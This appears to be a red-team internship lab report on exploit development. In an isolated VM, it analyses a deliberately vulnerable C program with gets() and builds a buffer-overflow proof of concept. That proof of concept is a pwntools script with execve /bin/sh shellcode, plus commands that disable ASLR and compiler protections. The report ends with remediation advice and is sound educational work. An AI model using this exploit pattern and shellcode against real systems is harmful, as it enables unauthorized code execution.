



EXPLOIT DEVELOPMENT BASICS

Technical Report & Documentation

Intern Name: Arsalan Rasool Rather

Organization: CyArt

Program: Red Teaming Internship

Week: Week 3

Tools Used:- SET (Social Engineer Toolkit), PhoneInfoga, Maltego



1. Executive Summary

This report documents the practical execution of Task 6: Exploit Development Basics, conducted as part of the CyArt Red Team Internship programme. The objective was to perform binary analysis on a deliberately vulnerable C program and develop a working buffer-overflow exploit proof-of-concept (PoC) inside a controlled virtual machine.

Tools used: GDB + pwndbg, radare2, checksec, pwntools, and the standard Linux utilities strings and file. The lab confirmed a classic stack-based buffer overflow leading to full EIP control and arbitrary shellcode execution.

Field	Details
Intern Name	Arsalan Rasool Rather
Organisation	CyArt
Task	Task 6 – Exploit Development Basics
Tools Used	GDB + pwndbg, radare2, checksec, pwntools, strings, file
Environment	Kali Linux VM (VirtualBox / VMware) – isolated network
Target Binary	Custom vulnerable C program (vuln.c)
Vulnerability	Stack-Based Buffer Overflow (CWE-121)
Outcome	Shell obtained – exploit successful
Date	May 2026

2. Environment Setup

2.1 Kali Linux VM Configuration

All activities were performed inside an isolated Kali Linux virtual machine. Network adapters were set to Host-Only to prevent any accidental external traffic.

2.2 Writing and Compiling the Vulnerable Binary

Create the file vuln.c with the following content:

```
// vuln.c - deliberately vulnerable program
```



```
#include <stdio.h>
#include <string.h>

void vuln() {
    char buf[64];          // 64-byte stack buffer
    gets(buf);             // UNSAFE - no bounds checking
    printf("Input: %s\n", buf);
}

int main() {
    printf("Enter input: ");
    vuln();
    return 0;
}
```

Compile with all mitigations disabled:

```
gcc -o vuln vuln.c -fno-stack-protector -z execstack -no-pie -m32
```

Disable ASLR inside the VM for this lab:

```
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```

2.3 Installing Required Tools

```
# pwndbg (GDB plugin)
git clone https://github.com/pwndbg/pwndbg && cd pwndbg && ./setup.sh

# pwntools + checksec
pip3 install pwntools checksec --break-system-packages
```

3. Binary Analysis

3.1 Initial Recon with 'file' and 'strings'

Run the following commands to inspect the binary without executing it:

```
file ./vuln
strings ./vuln | head -40
```

3.2 Security Audit with checksec

Run checksec to enumerate all binary protection mechanisms:

```
checksec --file=./vuln
```



Expected checksec findings:

Protection	Status	Implication
Stack Canary	Disabled	Buffer overflow not detected by runtime
NX (No-Execute)	Disabled	Shellcode can execute on the stack
PIE	Disabled	Fixed base address – no ASLR benefit
RELRO	Partial	GOT entries partially writable
ASLR	Disabled	Stack address is predictable

3.3 Disassembly with radare2

Use radare2 to disassemble the binary and examine vuln():

```
r2 ./vuln
aaa          # analyse all
afl          # list all functions
pdf @ sym.vuln # disassemble vuln()
```

Key finding: radare2 shows the buffer is allocated 0x48 (72 bytes) on the stack, but gets() places no upper bound on input length – confirming the overflow vector.

3.4 Summary of Three Key Binary Findings

#	Tool	Finding	Description	Risk
1	strings / file	Unstripped ELF binary	Symbol names visible – aids reverse engineering	Medium
2	checksec	All mitigations disabled	No canary, NX, PIE, or ASLR – binary trivially exploitable	Critical
3	radare2	gets() – no bounds check	64-byte buffer; gets() accepts unlimited input – overflow confirmed	Critical



4. GDB + pwndbg – Finding the Offset

4.1 Generate Cyclic Pattern

Generate a De Bruijn cyclic pattern to identify the exact offset at which EIP is overwritten:

```
python3 -c "from pwn import *; print(cyclic(150))" > pattern.txt
gdb ./vuln
(gdb) run < pattern.txt
```

4.2 Calculate Exact Offset

```
python3 -c "from pwn import *; print(cyclic_find(0x61616174))"
```

This confirms EIP is overwritten at byte offset 76.

4.3 Locate Buffer Address on Stack

```
(gdb) break *vuln
(gdb) run
(gdb) x/40x $esp
(gdb) p &buf
```



5. Exploit Proof-of-Concept (PoC)

5.1 Writing exploit.py

Create exploit.py with the following content (replace 0xffffd1a0 with the address you found in SS-12):

```
# exploit.py - buffer overflow PoC
from pwn import *

binary = './vuln'
p = process(binary)

# x86 Linux execve /bin/sh shellcode
shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68"
shellcode += b"\x68\x2f\x62\x69\x6e\x89\xe3\x50"
shellcode += b"\x53\x89\xe1\xb0\x0b\xcd\x80"

offset = 76
ret_addr = p32(0xffffd1a0) # <-- replace with your stack address
nop_sled = b"\x90" * 16 # NOP sled landing zone
padding = b"A" * (offset - len(nop_sled) - len(shellcode))

payload = nop_sled + shellcode + padding + ret_addr

p.sendline(payload)
p.interactive()
```

5.2 Running the Exploit

```
python3 exploit.p
```

5.3 Payload Layout

Component	Size (bytes)	Content	Purpose
NOP Sled	16	\x90 × 16	Landing zone – execution slides into shellcode
Shellcode	23	execve /bin/sh	Spawns a /bin/sh shell on execution
Padding	37	0x41 ("A") × 37	Fills remainder of buffer to reach EIP
Return Address	4	0xffffd1a0	Overwrites EIP – redirects to NOP sled
TOTAL	80	—	76 bytes to EIP + 4-byte return address



6. Findings Log

#	Tool	Finding	Description	Risk	Screenshot(s)
1	strings / file	Unstripped ELF	Function names visible – eases reversing	Medium	SS-05, SS-06
2	checksec	All mitigations disabled	No canary, NX, PIE, ASLR	Critical	SS-07
3	radare2	gets() – no bounds check	64-byte buffer, unlimited input accepted	Critical	SS-08, SS-09
4	GDB + pwndbg	EIP overwrite at offset 76	Full instruction-pointer control confirmed	Critical	SS-10, SS-11
5	GDB + pwndbg	Buffer address identified	Predictable stack address (ASLR disabled)	Critical	SS-12
6	pwntools	Shell obtained via BoF	execve /bin/sh executed – arbitrary code achieved	Critical	SS-13, SS-14, SS-15

7. Remediation Recommendations

#	Vulnerability	Fix	Priority
1	gets() – no bounds check	Replace with fgets(buf, sizeof(buf), stdin)	CRITICAL – Fix Immediately
2	Stack canary disabled	Compile with: -fstack-protector-strong	HIGH
3	NX (No-Execute) disabled	Remove -z execstack; enable NX in linker	HIGH
4	ASLR disabled	echo 2 > /proc/sys/kernel/randomize_va_space	HIGH
5	PIE not enabled	Compile with: -pie -fPIE	MEDIUM
6	Unstripped binary	Strip symbols for production: strip --strip-all ./vuln	LOW